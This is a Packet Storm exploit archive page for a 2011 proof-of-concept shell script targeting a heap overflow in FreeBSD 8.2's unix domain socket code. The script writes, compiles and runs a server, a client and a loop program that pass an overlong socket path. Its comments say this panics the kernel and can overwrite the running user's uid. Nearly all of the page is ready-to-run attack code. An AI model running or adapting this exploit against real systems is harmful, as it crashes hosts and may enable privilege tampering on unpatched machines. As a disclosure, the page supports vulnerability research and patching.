exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeBSD UIPC Socket Heap Overflow

FreeBSD UIPC Socket Heap Overflow
Posted Sep 30, 2011
Authored by Shaun Colley

FreeBSD UIPC socket heap overflow proof of concept exploit that causes a kernel panic. Tested on FreeBSD 8.2-RELEASE.

tags | exploit, overflow, kernel, proof of concept
systems | freebsd
SHA-256 | 392d5e1fab7ef40059a4391fcc8e1c05b6f410d6413606f432dc4a27dfea91ba

FreeBSD UIPC Socket Heap Overflow

Change Mirror Download
#!/bin/sh
#
# fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11
#
# proof-of-concept crash for the freebsd unix domain sockets heap
# overflow. this was tested on freebsd 8.2-RELEASE. just a PoC for now.
#
# see advisory & patches for details:
# http://www.securityfocus.com/archive/1/519864/30/0/threaded
#
# this PoC will usually result in a kernel panic with a read access
# violation at 0x616161XX but sometimes the kernel will not crash straight
# away (particularly if you shorten the length of 'sun_path' -- try 140 bytes),
# and your uid (see output of `id`) may have been modified to the
# decimal equivalent of 0x61616161 during the heap smash

# write server code to srv.c
cat > srv.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>

struct socky {
short sun_family;
char sun_path[160];
};

int connhandler(int incoming)
{
char buffer[256];
int n = 0;

n = read(incoming, buffer, 256);
buffer[n] = 0;

printf("%s\n", buffer);
n = sprintf(buffer, "fbsd uipc socket heap overflow");
write(incoming, buffer, n);

close(incoming);
return 0;
}

int main(void)
{
struct socky overfl0w;
int sock, incoming;
socklen_t alen;
pid_t child;
char buf[160];

sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}

memset(&overfl0w, 0, sizeof(struct socky));

overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);

if(bind(sock, (struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("bind() failed!\n");
return 1;
}

if(listen(sock, 5) != 0)
{
printf("listen() failed!\n");
return 1;
}

while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1)
{
child = fork();
if(child == 0)
{
return connhandler(incoming);
}
close(incoming);
}

close(sock);
return 0;
}
_EOF

gcc srv.c -o srv

# write the client code to client.c
cat > client.c << _EOF
#include <stdio.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <string.h>

struct socky {
short sun_family;
char sun_path[160];
};

int main(void)
{
struct socky overfl0w;
int sock, n;
char buffer[256], buf[160];

sock = socket(PF_UNIX, SOCK_STREAM, 0);
if(sock < 0)
{
printf("socket() failed!\n");
return 1;
}

/* start with a clean address structure */
memset(&overfl0w, 0, sizeof(struct sockaddr_un));

overfl0w.sun_family = AF_UNIX;
memset(buf, 0x61, sizeof(buf));
buf[sizeof(buf)-1] = 0x00;
strcpy(overfl0w.sun_path, buf);

if(connect(sock,
(struct sockaddr *)&overfl0w,
sizeof(struct socky)) != 0)
{
printf("connect() failed!\n");
return 1;
}

n = snprintf(buffer, 256, "panic");
write(sock, buffer, n);

n = read(sock, buffer, 256);
buffer[n] = 0;

printf("%s\n", buffer);

close(sock);
return 0;
}
_EOF

gcc client.c -o client

# crash doesn't happen straight away, so loop the client to speed it up
cat > loop.c << _EOF
#include <stdio.h>

int main() {
for(int i = 0; i < 1000; i++) {
system("./client");
}
}
_EOF

gcc loop.c -o loop

./srv &
./loop

Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close